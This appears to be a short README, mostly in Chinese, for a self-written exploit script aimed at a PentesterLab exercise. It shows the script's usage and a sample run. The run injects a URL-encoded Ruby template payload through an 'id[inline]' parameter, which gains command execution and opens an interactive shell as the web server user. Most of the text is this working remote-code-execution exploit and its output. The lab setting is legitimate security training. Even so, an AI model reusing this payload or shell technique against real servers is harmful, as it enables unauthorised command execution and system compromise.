这是为 PentesterLab 编写的
如果你是来自 PentesterLab,请不要作弊,自己学习会好得多。
希望它对某人有帮助,即使不是对未来的我 :)
包含交互式 shell,还有很好的 argparse 功能。
usage: script.py [-h] --url URL [--param PARAM] [--proxy] [--raw] [--no-color]
script.py: error: the following arguments are required: --url
$ python3 script.py --url "http://localhost:8000/pages?id=test"
[+] No parameter specified. Available parameters: ['id']
[+] Testing parameter: id
[+] Testing injection with URL: http://localhost:8000/pages?id[inline]=%3C%25%3D%20%25x%28echo%20SEALLDEV_OUTPUT_%24%28id%29%29%20%25%3E
[+] Injection successful! Test output: uid=1000(webrick) gid=1000(webrick) groups=1000(webrick)
[+] Starting interactive shell...
[+] Type "exit" to quit
--------------------------------------------------
shell> whoami
webrick